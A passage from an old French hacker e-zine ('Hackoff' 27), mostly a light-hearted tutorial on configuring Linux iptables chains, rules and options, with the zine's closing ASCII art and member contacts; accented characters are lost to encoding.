faire  moucher  par  son voisin de collectionneur. Tout tait pour le mieux dans
le  meilleur  des  mondes.  Et  ce,  jusqu'a ce qu'elle dcide par pure folie de
s'abonner  a  charlot  magazine.  Ce  quotidien lui garantissait le contact avec
des  milliers  de  gens,  cela  chaque  jour. Notre pauvre savate ne savait plus
quoi  faire,  chaque  jour des milliers de visiteurs venaient qumander a boire,
savoir  qui  elle  tait, lui demandaient des dessins. Si tout cela s'eut stopp
la;  l'affaire  serait  bonne et il n'y aurait point d'histoire, mais seulement,
notre  bonne  petite  savate  se  vut  victime  d'un  vol. Avec tout ce passage,
impossible  de  savoir  qui tait le mcrant. C'est pour cela qu'elle dcida de
construire  plusieurs  entres  a  guichet.  Chaque  visiteur  devant maintenant
prsenter  sa  patte  afin de savoir ou il devrait se prsenter. Voyant que cela
fonctionnait fort bien, elle dcida de nommer son invention.

Le    nom?    IPtables.  Pourquoi?  A  question  simple,  rponse  simple,  vous
rpondrait-elle.  Table  des Itinrants et autres Prestataires. C'est a quelques
choses pres la vritable histoire d'iptables.


--- L'histoire selon Linux ---

Le  filtrage  de  paquets  semble ncessaire a partir du moment ou votre machine
se  connecte  a une autre machine, et ce pour la simple et bonne raison que vous
ne  voulez  en  aucun  cas  que qui que ce soit vienne faire n'importe quoi chez
vous   sans  votre  autorisation.  Pour  cela,  ds  la  version  1.1  de  linux
(j'entends  par  la  le  noyau,  bien  sr,  aucune amalgame avec GNU/Linux pour
faire  plaisir  a  rms,  au grand dsarroi de lt), Alan Cox a port une premiere
version  de  filtre  fond  sur  ipfw  de BSD. il a t amlior dans la version
2.0,  entre  autre  par  Jos  Vos,  mais  ce n'est pas l'unique contributeur. Au
milieu  de  l'anne  1998,  Rusty  Russel  et Michael Neuling retravaillerent le
noyau  et  introduisirent  l'outil  ipchains. Ipchains rside sous linux 2.2. La
derniere  gnration  stable  de  noyau  s'est  vue  fournie  d'un  outil  de la
quatrieme gnration nomm iptables.

Cela  sous  entend  quoi?  Qu'il  vous est ncessaire d'avoir un noyau 2.4 (pour
les  noyaux  stables) et de positionner "CONFIG_NETFILTER" a Y (pour Yes, oui en
francais)  dans  la  configuration de ce dernier. En pratique, vous avez acces a
netfilter  depuis  le  noyau  2.3.15,  et  vous  devez  donc pouvoir vous servir
d'iptables par dessus.

Qu'est  ce  qu'iptables  en fait? Est ce le firewall? est ce un logiciel? est ce
la  recette  de  la  potion  magique?  Pourquoi  n'entend  on pas les arbres qui
tombent dans la foret?

Iptables  est  un outil, une interface, permettant d'insrer et de supprimer les
regles de la table du filtre de paquets du noyau.

Le premier rang de lgume est plac, nous pouvons commencer notre potager.

--- IPTABLES ---

Quelques petites regles sont a observer.

La  configuration  de  votre  firewall  est  archive  dans  votre noyau, ce qui
signifie  qu'au  prochain  redmarrage,  toutes  les regles seront perdues. Vous
devez  crer  un  fichier  ou  seront  stockes toutes les regles et chaines qui
vous  semblent  ncessaire.  En tant que bon leve, faites une copie du fichier.
Russel  prconise  l'emploi  de  iptables-save  et iptables-restore. Vous pouvez
tout  aussi  bien  les  appeler remus et romulus, si ca vous parle et surtout si
vous  avez  le courage de linker le tout. Il existe en effet des petites options
pour  iptables-save  et  iptables-restore  qui  peuvent  s'avrer bien pratiques
(voir leur man respectif pour en apprendre davantage).

Placez  votre  script  d'initialisation  de  regles a l'endroit adquat. Assurez
vous  de  faire  quelque  chose  de  rflchi, au cas ou il y aurait un fouarage
alatoire    lors    de    l'excution   de  votre  script  (balancer  un  `exec
/sbin/sulogin` par exemple).

Maintenant  que  le  dcor  est pos, il est ncessaire de regarder un petit peu
plus  en  avant  l'essentiel.  Nous  verrons  donc  deux  parties.  La  premiere
concerne  la  gestion  des chaines, la deuxieme approche la gestion des regles a
l'intrieur  des  chaines.  A  savoir qu'une chaine est constitue d'un ensemble
de regles.

Au  commencement,  vous  possdez  en  tout  et pour tout trois chaines vierges.
INPUT,  OUTPUT  ET  FORWARD. Vous voyez galement que la politique mise en place
est  une  politique  d'acceptation  (policy ACCEPT). Si aucune regle ne convient
au traitement du paquet en cours d'analyse, il sera alors accept.

Chaines initiales

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


*Comment crer une nouvelle chaine?

iptables -N votre_nom_de_chaine

Vous    remarquerez   que  votre_nom_de_chaine  figure  ici  en  minuscule.  Par
convention,  les  chaines  dfinies  par l'utilisateur sont crites en minuscule
pour les distinguer des autres.
Votre chaine maintenant cre, vous pouvez la remplir de regles.


Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain toto (0 references)
target     prot opt source               destination


Ajouter une nouvelle regle a une chaine : iptables -A

Pour l'exemple, nous droperons tous les paquets icmp en provenance de
127.0.0.1:

iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP


Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       icmp --  localhost.localdomain  anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain toto (0 references)
target     prot opt source               destination


Notre  regle  a  t  correctement  ajoute.  Nous  reviendrons  plus  tard  sur
l'criture  conforme  d'une regle. Pour les besoins de l'exemple, je prendrai le
fait  que,  par  mgarde, j'ai rentr quatre fois de suite la meme regle dans la
meme chaine (sic). Nous obtenons donc:


Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       icmp --  localhost.localdomain  anywhere
DROP       icmp --  localhost.localdomain  anywhere
DROP       icmp --  localhost.localdomain  anywhere
DROP       icmp --  localhost.localdomain  anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain toto (0 references)
target     prot opt source               destination


Bien  que  tout  ceci  soit  d'une  absurdit  totale,  cela  va  nous permettre
d'approcher  deux  nouvelles  options.  En  effet,  devant  cette  redondance de
chaine,  il  va  nous  falloir  faire  le  mnage! Pour cela, vous avez le choix
entre  l'effeuillage  ligne  par  ligne  ou  alors  le  nettoyage complet. C'est
l'option  que  l'on pourrait assimiler a la chasse d'eau, -F (ou --flush). Cette
option vide completement une chaine.


$>iptables -F nom_de_votre_chaine

Attention! Si vous ne spcifiez aucune chaine, toutes les chaines
seront vides.


*Comment effacer une chaine?

Tout aussi simple que pour sa cration

$>iptables -X ma_chaine


L'auteur  d'iptables  pose  la question du X. Pourquoi employer cette lettre qui
n'a  rellement  aucun  sens.  En  effet,  jusqu'a prsent, ce que nous avons pu
voir  ramenait  toujours  vers  un  mot  significatif; A pour add, N pour new, F
pour  flush,  D  pour delete. Alors, que diable, qu'est ce que fait ce X ici. En
gnral,    un  X  marque  l'emplacement,  peut-etre  trouverez-vous  un  trsor
derriere  celui-ci.  Pour  ceux  que  cela intresse vraiment, le X a t adopt
car toutes les autres 'bonnes' lettres taient dja prises :)



De  meme  que  pour l'option de flush, une petite regle a t insre. Si aucune
chaine  n'est  cite, iptables tentera d'effacer toutes les chaines dfinies par
les  utilisateurs.  Vous  ne  pouvez  pas  supprimer les trois chaines cres par
dfaut, a savoir INPUT, OUTPUT et FORWARD.


*Lister les chaines et leur contenu


Toute  cration  ncessite  un  regard  sur son oeuvre. Vous ne pourrez en aucun
cas  travailler  indfiniment  a  l'aveuglette.  Nous  avons  vu  que les regles
taient  stockes  dans  un fichier. Faire appel a ce fichier pour connaitre les
regles  instaures  releverait de la lourdeur la plus totale et surtout, cela ne
prendrait  en  aucun  cas  les changements effectus entre temps. Il existe donc
plusieurs    commandes    qui  permettent  de  lister  avec  plus  ou  moins  de
renseignement les chaines et regles mises en place.


* L'option -L


Deux   utilisation.  Dans  le  premier  cas,  vous  spcifiez  que  vous  voulez
uniquement voir la chaine passe en parametre.


$>iptables -L INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
REJECT     icmp --  localhost.localdomain  anywhere           reject-with icmp-port-unreachable

Cela permet de travailler avec une visibilit accrue sur la chaine que
vous paramtrez.

Explication de l'affichage:
____________________________________________________________________________
Chain : chaine
INPUT : Nom de la chaine
(policy ACCEPT) : Si aucune regle ne correspond au paquet, il sera accept.
----------------------------------------------------------------------------
target : Ce que l'on fait du paquet (accept, drop ou reject)
prot : Protocole vis
opt : options
source : Endroit d'ou proviennent les paquets
destination : Endroit ou vont les paquets
----------------------------------------------------------------------------
La derniere ligne prsente correspond a une regle que l'on a ajoute, ici
elle signifie:

Rejeter  tous  les paquets icmp en provenance de localhost. Plus spcifiquement,
le  correspondant  envoie  un  paquet  ICMP  type  8  (echo  request)  et  votre
ordinateur  renvoie  normalement  un  paquet  ICMP  type 0 (echo reply). Avec la
chaine  prsente,  le  correspondant  un  message  comme  quoi son correspondant
n'est pas joignable (C'est qui? C'est le plombier).

---------------------------------------------------------------------------


L'argument  -L  sans  aucun autre parametre permet d'afficher toutes les chaines
prsentes, meme si elles ne contiennent aucune regle.


$>iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
REJECT     icmp --  localhost.localdomain  anywhere           reject-with icmp-port-unreachable

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

*La sous-option -v


Encore    appele    --verbose.   Cette  forme  vous  donnera  des  informations
supplmentaires  sur  l'interface  concerne  (eth0,  eth1,  ppp0,  etc...),  le
nombre de paquets ainsi que le nombre de bits transfrs.


$>iptables -L -v
Chain INPUT (policy ACCEPT 21 packets, 4085 bytes)
 pkts bytes target     prot opt in     out     source               destination
   20  1960 REJECT     icmp --  any    any     localhost.localdomain  anywhere          reject-with icmp-port-unreachable

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 38 packets, 3283 bytes)
 pkts bytes target     prot opt in     out     source               destination


*La sous-option -n


Un    certain    nombre   de  parametres  sont  par  dfaut  crits  de  maniere
comprhensible  pour  l'homme,  a  savoir  "localhost.localdomain" reprsente en
fait  votre  machine.  L'ip  dfinie  par convention est 127.0.0.1. Cette option
permet donc en un sens plus de rigueur dans sa lecture.


$>iptables -L -v -n
Chain INPUT (policy ACCEPT 31 packets, 4834 bytes)
 pkts bytes target     prot opt in     out     source               destination
   20  1960 REJECT     icmp --  *      *       127.0.0.1            0.0.0.0/0         reject-with icmp-port-unreachable

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 50 packets, 4017 bytes)
 pkts bytes target     prot opt in     out     source               destination

*La remise a zro des compteurs


Comme  nous  avons  pu  le  voir  dans  les  exemples  prcdents,  vous avez la
possibilit  de  relever  le  nombre  de  paquets  et  d'octets (bytes) que cela
reprsente. Cela peut par exemple etre utile dans le cadre de la mtrologie.


$>iptables -L -v -n
Chain INPUT (policy ACCEPT 25 packets, 4067 bytes)
 pkts bytes target      prot opt in     out     source              destination
   30  2520 DROP        icmp --  *      *       127.0.0.1           0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target      prot opt in     out     source              destination

Chain OUTPUT (policy ACCEPT 55 packets, 6587 bytes)
 pkts bytes target      prot opt in     out     source              destination



Ici,  vous  voyez que certaines chaines ont vu leurs compteurs incrments. Nous
allons  donc  remettre  tout  cela a zro. L'option que nous utiliserons sera -Z
(pour  zero).  Vous  pouvez  aussi  utilser  --zero.  Cette  option  combine  a
l'option  de  listing  vous permettra de rcuprer la valeur des compteurs avant
qu'ils soient remis a zro.


$>iptables -L -v -n -Z
Chain INPUT (policy ACCEPT 25 packets, 4067 bytes)
 pkts bytes target      prot opt in     out     source              destination
   30  2520 DROP        icmp --  *      *       127.0.0.1           0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target      prot opt in     out     source              destination

Chain OUTPUT (policy ACCEPT 55 packets, 6587 bytes)
 pkts bytes target      prot opt in     out     source              destination
Zeroing chain `INPUT'
Zeroing chain `FORWARD'
Zeroing chain `OUTPUT'

Controlons que tout soit bien remis a zro:

$>iptables -L -v -n
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target      prot opt in     out     source               destination
    0     0 DROP        icmp --  *      *       127.0.0.1            0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target      prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target      prot opt in     out     source               destination


Les compteurs sont bien a leur tat initial, l'opration s'est bien droule.


*Les polices de scurit de chaines


Il  nous  reste un dernier point a voir pour les options concernant les chaines.
Pour chaque chaine principale (INPUT, OUTPUT, FORWARD)

Pour ce faire, la commande a utiliser sera:
$>iptables -P INPUT DROP

Chain INPUT (policy DROP)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


Comme  mentionn  plus  haut, une politique de scurit stricte instaure la mise
de  DROP  sur  les  chaines  principales, ce qui oblige ainsi tous les paquets a
etre  traits.  Cependant,  ne  faites  cela  que  si vous comprenez ce que vous
faites, dans le cas inverse, vous n'aurez plus acces au rseau...



*Les regles


Nous  avons  trait  ce qui concernait les chaines, il nous faut maintenant nous
concentrer  sur  leur  contenu,  a savoir les regles. Si l'on devait prendre une
mtaphore,  on  pourrait  considrer  que les chaines sont les ocans et que les
regles sont des fleuves. Chaque fleuve reliant un ocan.


*Crer une regle


Avant  toute  chose,  vous  devez  savoir  dans  quelle chaine vous allez placer
votre  regle.  Celle-ci  concerne t'elle une entre (INPUT), une sortie (OUTPUT)
ou  transmission  (FORWARD)  d'un paquet. Vous pouvez galement l'assigner a une
sous chaine que vous aurez cre au pralable.


Syntaxe :
iptables -A chaine arguments

exemple :
iptables -A INPUT -s 127.0.0.1 -j DROP

on demande a iptables d'ajouter dans la chaine INPUT les arguments suivant :
-s 127.0.0.1    Dont la source est 127.0.0.1
-j DROP         Refuser

On refuse tout ce qui provient de l'hote local en entre.
Afin  d'largir  notre  champ  de  couverture, nous traiterons ici d'un certains
nombre  d'arguments  que l'on peut passer a notre regle en ajout. Garder en tete
que  nous  ne  traitons  ici  que  les parametres! N'oubliez donc pas comment se
constitue une regle.

Presque tout argument peut avoir son contraire. Il suffit pour cela de le
faire suivre d'un point d'exclamation '!'

$>iptables -A INPUT -s ! 127.0.0.1

-s, --source, --src             Dfinit la provenance du paquet
-d, --destination, --dst        Dfinit la destination du paquet


Pour  ces  dfinitions,  vous  pouvez  viser  une  adresse unique, comme tout un
rseau,    pour    cela,   il  suffit  d'utiliser  le  masque  de  sous  rseau.
'192.168.21.0/24'    est    quivalent    a  '192.168.21.0/255.255.255.0'.  Pour
spcifier  une  adresse  unique,  vous  utiliserez  '/32'  et  pour au contraire
couvrir  l'ensemble  des  adresses,  '0/0' (toutes les IP existantes). Vous avez
galement  la  possibilit de noter les dns (madchat.org, localhost), cependant,
cela  reste  dconseill.  Si  je  dcide  de bloquer madchat sur mon rseau, je
bloquerai  galement  le  serveur qui hberge les autres sites que madchat. Ceci
est par consquent tres embetant.


-p, --protocol                  Dfinit le(s) protocole(s) choisi(s)


Les  protocoles  que  vous  pouvez  employer sont spcifis dans /etc/protocols.
Toutefois,  la  plupart du temps, vous vous rferrerez a 'tcp', 'udp' ou 'icmp'.
Vous  pouvez  utiliser  'all'  qui  regroupe  l'ensemble des protocoles. Lorsque
l'option  n'est  pas  spcifie,  'all'  est  slectionn  par  dfaut. La casse
employe pour la spcification du protocole n'a pas d'importance.


$>iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP


Vous  restez  insatisfait ? Vous dsirez pouvoir filtrer vos paquets par drapeau
(flag) sur tcp, sur le port source ou destination ? Pas de probleme.


*TCP [chap]
--tcp-flags


Autorise  le  filtre  sur  des  drapeau  tcp  spcifiques.  La premiere liste de
drapeau  est  compose  du  masque de ceux que vous voulez examiner, la deuxieme
comporte tout ceux qui doivent voir leurs bits mis a un.


$>iptables -A INPUT -p tcp --tcp-flags ALL SYN,ACK -j DROP
$>iptables -L -vn

Chain INPUT (policy ACCEPT 8058 packets, 3277K bytes)
 pkts bytes target     prot opt in     out     source           destination
 5217 2287K            all  --  eth0   *       0.0.0.0/0        0.0.0.0/0
  156 10856            all  --  lo     *       0.0.0.0/0        0.0.0.0/0
    0     0 DROP       tcp  --  *      *       0.0.0.0/0        0.0.0.0/0         tcp flags:0x3F/0x12


Ici,  on  veut tous les drapeau, a savoir : SYN, ACK, FIN, RST, URG, PSH il faut
que  les  bits  de  SYN  et ACK soient positionns. Il existe encore deux autres
drapeaux  prsents  pour  vous  faciliter  la  tache:  ALL et NONE. ALL regroupe
l'ensemble des drapeaux et NONE bien videment aucun.


--syn

En corrlation avec l'option prcdente. C'est un raccourci pour --tcp-flags
SYN,RST,ACK SYN

--sport, --source-port
--dport, --destination-port


Port  source  ou  port  destination. Vous pouvez utiliser les noms des ports que
vous  souhaitez  (www,  ftp,  ...)  comme  dans /etc/services ou directement les
numros  de  ceux-ci.  Pour  dcrire une plage, sparez le port de dbut du port
de fin par deux points ':'.


$>iptables -A INPUT -j ACCEPT -s 127.0.0.1 -p tcp --sport 20:2000


Si  vous  dsirez  insrer la notion de "tous les ports suprieurs ou gal a" ou
bien  "tous  les  ports  infrieurs  ou  gal a", laissez le champ vide avant ou
apres les deux points, selon ce que vous dsirez faire.


$>iptables -A INPUT -j ACCEPT -s 127.0.0.1 -p tcp --sport 20:
$>iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     tcp  --  localhost.localdomain  anywhere           tcp      spts:ftp-data:2000
ACCEPT     tcp  --  localhost.localdomain  anywhere           tcp      spts:ftp-data:65535

--tcp-option


Vous  permet  de  traiter les datagrammes en fonction des options passes a tcp,
pour en savoir plus sur celles-ci, reportez-vous a :

http://www.eisti.fr/res/res/rfc793/793-3.htm#option

[/chap]

*UDP [chap]

--sport, --source-port
--dport, --destination-port

L'usage reste le meme que celui vu pour TCP.

[/chap]

*ICMP [chap]

--icmp-type


Cette  option  autorise  le  filtrage  des  paquets icmp selon leurs types. Vous
retrouverez la liste des types a l'adresse suivante :
http://www.netfilter.org/documentation/tutorials/blueflux/iptables-tutorial.html#ICMPTYPES


Vous  pouvez  au  choix nommer les types de maniere numrique, le premier nombre
reprsentant  le  type,  le  deuxieme reprsentant le code, le tout tant spar
par un slash (/)


$>iptables -A INPUT -p icmp --icmp-type 3/3

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
           icmp --  anywhere             anywhere           icmp       port-unreachable

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

La seconde maniere vous invite a utiliser les types icmp par nom.
Je vous dresse ici la liste existante

$>iptables -p icmp --help

echo-reply (pong)
destination-unreachable
   network-unreachable
   host-unreachable
   protocol-unreachable
   port-unreachable
   fragmentation-needed
   source-route-failed
   network-unknown
   host-unknown
   network-prohibited
   host-prohibited
   TOS-network-unreachable
   TOS-host-unreachable
   communication-prohibited
   host-precedence-violation
   precedence-cutoff
source-quench
redirect
   network-redirect
   host-redirect
   TOS-network-redirect
   TOS-host-redirect
echo-request (ping)
router-advertisement
router-solicitation
time-exceeded (ttl-exceeded)
   ttl-zero-during-transit
   ttl-zero-during-reassembly
parameter-problem
   ip-header-bad
   required-option-missing
timestamp-request
timestamp-reply
address-mask-request
address-mask-reply

[/chap]

* Match [chap]



Il  nous  reste  encore  un  sous  chapitre  a  voir,  il  s'agit des extentions
"match". En francais, nous pourrions traduire par extensions de comparaison.


-m, --match


La  diffrence  avec les autres extensions rside dans le fait que celles-ci, si
elles  ne  sont  pas  spcifies, ne seront jamais charges par dfaut par votre
filtre.  La  raison  en est simple, la plupart de ces extensions sont spcifique
a  des  protocoles, ou juste prsentes a titre de test/exprimentation ou encore
pour  vous  montrer  de  quoi  est  capable iptable. Nous ne couvrirons donc que
quelques options.


--mac-source

Filtre les paquets selon leur adresse source.
l'adresse mac sera videment donne sous la forme XX:XX:XX:XX:XX:XX


iptables -A INPUT -m mac --mac-source 00:00:00:00:00:01

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
           icmp --  anywhere             anywhere           icmp       port-unreachable
           all  --  anywhere             anywhere           MAC        00:00:00:00:00:01

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination


--limit


Cette  option  permet  d'instaurer  des limites, d'instaurer des taux, comme par
exemple  pour  limiter  le  nombre  de  messages  d'historique. Cette option est
suivie  d'un  nombre;  vous  pouvez  aussi  faire  suivre  ce  nombre de l'unit
temporelle  dsire  (/second;/minute;/hour;/day).  Par  dfaut,  la  limite est
rgle a trois par heure.


[/chap]

-j, --jump


Spcifie  ce  que  vous  dsirez  faire  du  paquet.  La  cible  peut  etre  une
sous-chaine  que  vous  aurez vous-meme cre ou alors vers une valeur spciale.
Celle-ci peut prendre la forme de ACCEPT, DROP, QUEUE ou RETURN.


ACCEPT autorise le paquet a continuer son chemin.
DROP n'autorise pas le paquet a continuer son chemin.
QUEUE  permet  de  passer  le  paquet  a  une   application,  si  jamais  aucune
application n'attend apres le paquet, il est rejet.
RETURN  se  comporte diffrement selon son emplacement. S'il est dans une chaine
que  vous  avez  construite,  le  paquet  est renvoy a la chaine forge d'ou il
vient.  S'il  se  trouve  dja  dans une chaine forge, c'est la police de cette
meme chaine qui dcide du sort du paquet.


-i, --in-interface
-o, --out-interface


Spcification  des  interfaces  sur  lesquelles les paquets arrivent ou partent.
Si  vous  avez bien compris, cela signifie que toute regle comportant -o dans la
chaine  INPUT  ne  se  verra  pas beaucoup rcompense, il en va de meme si vous
insrez une regle avec -i dans la chaine OUTPUT.


$>iptables -A INPUT -i eth0
$>iptables -A INPUT -i lo

Si vous demandez a prsent un listing simple de vos chaines, vous ne verrez
aucune diffrence, pensez donc a demander un listing dtaill.

$>iptables -L -vn

Chain INPUT (policy ACCEPT 3045 packets, 1182K bytes)
 pkts bytes target     prot opt in     out     source
destination

  346  202K            all  --  eth0   *       0.0.0.0/0        0.0.0.0/0
   14  1040            all  --  lo     *       0.0.0.0/0        0.0.0.0/0

Chain OUTPUT (policy ACCEPT 1867 packets, 241K bytes)
 pkts bytes target     prot opt in     out     source           destination


Pour  spcifier  plusieurs interfaces du meme type (eth0, eth1, eth2, etc... par
exemple) vous pouvez utiliser le caractere +.


$>iptables -A INPUT -i eth+


Toutes  les  interfaces  commencant par eth seront alors concernes. Par dfaut,
si  l'option  n'est pas spcifie, le '+' est mis d'office, slectionnant toutes
les interfaces.


-f, --fragment


Depuis  le  dbut,  je  ne  vous  parle  que  de  paquets, mais qu'en est-il des
fragments  de  paquets,  ces  petits bouts de puzzle qui au final constituent un
splendide    paquet  ?  Vous  n'etes  pas  sans  savoir  que  des  paquets  trop
consquents  n'ont  aucune  chance  de traverser diffrents rseaux, les tailles
autorises  tant  diffrentes  selon  chaque  routeur.  Vous  voyez  donc votre
paquet  arriver  petit  a  petit.  Seule  l'entete contiendra l'ip ou il doit se
rendre,  que  ferez vous donc des autres fragments ? Certes non, si vous dsirez
donc traiter le deuxieme fragment, le troisieme, etc. utilisez cette option.



*Enlever une regle

Pour enlever ligne par ligne, il vous faut simplement excuter:
iptables -D la_chaine la_regle_concerne ou encore

iptables   -D  la_chaine  le_numro_de_la_regle.  Chaque  chaine  contenant  des
regles  sont  numrotes  en  partant  de un. Il est a noter que dans le premier
cas,  si  vous  avez  deux  regles  identiques, seule la premiere (numriquement
parlant) sera ote.


Il  est  intressant  de  noter que pour obtenir les numros des regles dans les
chaines, vous pouvez utiliser l'option --line-number.


$>iptables -L --line-number
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1               all  --  anywhere             anywhere
2               all  --  anywhere             anywhere
3               all  --  anywhere             anywhere

Chain FORWARD (policy ACCEPT)
num  target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination
1               all  --  anywhere             anywhere

--- Epilogue ---

Mieux  vaut  avoir  une souris dans la main qu'un chat dans la gorge. Ceci n'est
qu'une  petite  prsentation  de  l'outil, et il ne faut pas penser que tout est
dit  ici,  loin  s'en  faut; mais toutes les bonnes choses ont une fin, et comme
le  dit  le  dicton popuplaire, la faim justifie les moyens, ou peut-etre est ce
une histoire de coupe-fin. Oh fait : `man iptables`!



(*) BTH RTFM DMZ CQFD
BTH  : By The Hell
RTFM : Read The Fucking Manual
DMZ  : De-Militarized Zone
CQFD : Ce Qu'il Fallait Dmontrer





        lansciac@madchat.org

`,,`,,`,,``,,`,,`,












Et  hop  termin pour ce hackoff27 qui a bien tard pour sa sortie. Au programme
du  prochain  numro  on  vous  prpare  une  decoction  a  base de hack nasa et
d'electronique (ca revient a la mode). Enjoy  ...











 ________________________________________________________________________________
 桢 桢  
 
                          -<\______________________/>-
    ~~    ~~    ~~    ~~    H A C K 0 F F ?    غ~~    ~~    ~~    ~~
 ~~    ~~    ~~    ~~     -<_/\_>-     ~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~      http://come.to/legang   ~   ~~    ~~    ~~    ~~
 ~~    ~~    ~~    ~~    ~~                            ~~    ~~   ~~    ~~    ~~
    ~~    ~~    ~~    ~  http://hackoolique.tripod.com   ~~    ~~    ~~    ~~
 ~~    ~~    ~~    ~~    ~                              ~    ~~    ~~    ~~    ~~
 ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang...
 ________________________________________________________________________________
 桢 桢  
 

    (((((((      H@CK-OFF !!     ))))))))
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~  ~   `   `   `  ~  ~
     ~  ~  | SE | - | RI | - | AL | ~  ~
    ~  ~   | SA | - | VA | - | TE |  ~  ~
     ~  ~  | SY | - | ST | - | EM | ~  ~
    ~  ~   ,,   ,,   ,,  ~  ~
    Cakeii - Tobozo - Yopyop - Silk - Nk
     Blured -  Misto  -  hertz  - Jericho
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


     cakeii@usa.net
     courou@mail.com         {    \|/
     >http://come.to/legang  8  -- * --
     >silk@silk.cut          {    /|\
     tobozo@yahoo.com
     hertz@webmails.com
     jericho@altranet.fr
     blured75@hotmail.com
     ulysse31@madchat.org
     lansciac@caramail.com
     matforever@hotmail.com
    `,,`,,`,
   /   O o          O o          O o    \
   \    O            O            O     /
    ,,`,,`,,
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



[EOF]
